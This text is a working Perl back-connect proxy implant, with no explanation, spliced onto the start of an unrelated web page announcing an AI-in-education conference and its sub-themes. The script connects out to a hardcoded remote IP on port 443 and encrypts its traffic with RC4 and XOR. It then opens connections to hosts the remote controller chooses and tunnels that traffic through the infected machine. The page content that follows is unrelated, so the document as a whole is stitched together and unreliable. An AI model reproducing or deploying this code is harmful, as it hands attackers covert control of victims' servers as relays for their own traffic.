#!/usr/bin/perl
use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;
my $host = '185.93.89.157';
my $port = 443;
my $xordata = "\x00" x 50;
for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }
sub Rc4_crypt {
my $passw = shift(@_);
my $length = shift(@_);
my $buff0 = shift(@_);
my $start = shift(@_);
my $sz = shift(@_);
my $rc4 = "\x00" x 256;
my $pockemon0 = 0;
my $pockemon1 = 0;
my $pockemon2 = 0;
my $pockemon3 = 0;
my $pockemon4 = 0;
my $pockemon5 = 0;
my $pockemon6 = 0;
my $pockemon7 = 0;
my $pockemon8 = 0;
my $rcx = $sz;
my $rsi = 0;
my $rbx = 0;
my $gs = 0;
my $t = 0;
for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
while(1) {
if ($gs == 0) {
$pockemon2 = 0;
$pockemon3 = $length;
}
if ($gs != 0) {
$gs = 0;
$pockemon2++;
if (--$pockemon3 == 0) { next; }
}
$pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
$t = unpack('C', substr($$passw, $pockemon2, 1));
$pockemon1 += $t;
$pockemon1 = $pockemon1 & 255;
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon0++;
$pockemon0 = $pockemon0 & 255;
if ($pockemon0 != 0) {
$gs = 1;
next;
}
$pockemon4 = $sz;
$pockemon1 = 0;
$pockemon0 = 0;
$pockemon2 = 0;
$pockemon3 = 0;
while(1) {
$pockemon2++;
$pockemon2 = $pockemon2 & 255;
$pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon8 += $pockemon7;
$pockemon8 = $pockemon8 & 255;
$pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
$pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));
$pockemon5 = $pockemon5 ^ $pockemon0;
substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
$pockemon3++;
if (--$pockemon4 == 0)
{
last;
}
}
last;
}
$rsi = 0;
$rcx = $sz;
$rbx = 0;
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
}
sub synsend {
my $cSocket = shift(@_);
my $buffer = shift(@_);
my $flags = shift(@_);
open(my $fh, "<", '/dev/null');
flock($fh, LOCK_EX);
# ===============================================
send($cSocket, $buffer, $flags);
# ===============================================
flock($fh, LOCK_UN);
close($fh);
}
sub newConnection {
my $num = shift(@_);
my $socketarray = shift(@_);
my $sSocket = shift(@_);
my $cSocket = shift(@_);
my $buff0 = shift(@_);
threads->create( sub {
my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
my $domain = '';
my $port = 0;
my $_ret = 0;
my $data = '';
my $buffer = '';
setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
fcntl($cSocket, F_SETFL, O_NONBLOCK);
if (unpack('C', substr($buff0, 7, 1)) == 3) {
$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
}
elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
}
else {
goto close_;
}
eval {
my $paddr = sockaddr_in($port, inet_aton($domain));
connect($cSocket, $paddr);
vec(my $win = '', fileno($cSocket), 1) = 1;
unless (select(undef, $win, undef, 10)) { goto close_; }
fcntl($cSocket, F_SETFL, 0);
substr($responce, 4, 1) = "\x00";
$_ret = 1;
};
close_:
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
synsend($sSocket, $responce, MSG_NOSIGNAL);
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
if ($_ret == 1) {
while ($$socketarray[$num] == 1) {
vec(my $rin = '', fileno($cSocket), 1) = 1;
unless (select($rin, undef, undef, 1)) { next; }
$data = '';
recv($cSocket, $data, 65530, 0);
unless ($data) { last; }
$buffer = pack('C', $num).pack('S', length($data)).$data;
Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
synsend($sSocket, $buffer, MSG_NOSIGNAL);
}
}
$$socketarray[$num] = 0;
close($cSocket);
substr($responce, 1, 2) = "\x00\x00";
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL);
threads->detach();
});
}
sub bccnct {
my $host = shift(@_);
my $port = shift(@_);
my $remaining = 0;
my $remaining4 = 0;
my @socketarr;
my @socketarray :shared;
my $buffer = "\x00" x 100;
my $buffernull = "\x00" x 3;
my $buffer0 = '';
my $isExit = 0;
my $ecx = 0;
my $eax = 0;
my $data = '';
my $_ret = 0;
my $ebx = 0;
my $edx = 0;
socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
my $paddr = sockaddr_in($$port, inet_aton($$host));
unless(connect($socketarr[0], $paddr)) { goto close0; }
substr($buffer, 0, 50) = $xordata;
substr($buffer, 50, 2) = "\xFF\xFF";
substr($buffer, 54, 11) = "Perl script";
Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
send($socketarr[0], $buffer, MSG_NOSIGNAL);
while(1) {
if ($remaining4 != 4) {
vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
my $ret = select($rin, undef, undef, 60);
next if ($ret < 0);
if ($ret == 0) {
last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
last if ($remaining != 0);
last if ($remaining4 != 0);
Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
synsend($socketarr[0], $buffernull, MSG_NOSIGNAL);
next;
}
}
if ($remaining != 0 || $remaining4 == 4) {
if ($edx == 0) {
if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
$isExit = 1;
last;
}
elsif ($ebx < 200 && $ebx > 0) {
$socketarray[$ebx] = 0;
}
}
else {
$ecx = $edx;
$ecx = $ecx - $remaining;
$data = '';
recv($socketarr[0], $data, $ecx, 0);
unless ($data) { last; }
$remaining += length($data);
$buffer0 .= $data;
if ($edx == $remaining) {
Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
if (unpack('C', substr($buffer0, 0, 1)) == 0) {
socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$socketarray[$ebx] = 1;
newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
}
else {
send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL);
}
$remaining = 0;
}
}
$remaining4 = 0;
}
else {
if ($remaining4 == 0) { $buffer0 = ''; }
$eax = 4;
$eax = $eax - $remaining4;
$data = '';
recv($socketarr[0], $data, $eax, 0);
unless ($data) { last; }
$remaining4 += length($data);
$buffer0 .= $data;
$buffernull = "\x00" x 3;
if ($remaining4 == 4) {
Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
$ebx = unpack('C', substr($buffer0, 1, 1));
$edx = unpack('S', substr($buffer0, 2, 2));
$_ret = 1;
}
}
}
close0:
close($socketarr[0]);
for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
sleep 10;
if ($isExit == 1) { exit; }
return $_ret;
}
bccnct(\$host, \$port);
6th International Conference & Workshop – AITIE
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6th International Conference & Workshop
July 21, 2024 @ 8:00 am - July 25, 2024 @ 5:00 pm
The International Conference and Workshop on Innovation, Technology and Education is an annual gathering of academics, technocrats and stakeholders in the field of education. The conference stand to facilitating interaction towards meaningful discussion in 21st century technology integration in Education cum special hands-on workshop on the use of technology to facilitating teaching and learning.
Conference Theme:
Artificial Intelligence (AI) Technologies for Pedagogical Approaches & Workplace Efficiency
Sub Themes:
Adaptive Learning Systems: Tailoring Instructional Methods with Al
Intelligent Tutoring Systems: Enhancing Educational Support through Al
Workplace Automation: Streamlining Operations for Increased Efficiency
Al-driven Assessment Tools: Revolutionizing Evaluation in Learning Environments
Human-Al Collaboration: Fostering Synergy in Educational and Work Settings
Virtual Learning Environments: Transforming Education with Al Technologies
Smart Workspaces: Integrating Al for Enhanced Productivity in the Workplace
Gamification and Al: Enhancing Engagement in Educational and Professional Settings
Al-Enhanced Career Development: Guiding Paths for Professional Growth
Cybersecurity in Al Education: Safeguarding Data, Privacy and Internet Fraud
Inclusive Design and Al: Ensuring Accessibility in Learning and Work Environments
Emotional Intelligence and Al: Nurturing Soft Skills in Educational Practices
Al for Specialized Training: Tailoring Solutions for Industry-Specific Skill Development
Al-driven Intelligent Surveillance and Threat Detection
Al-driven Access Control and Biometric Solutions
Al-driven Security Training and Simulation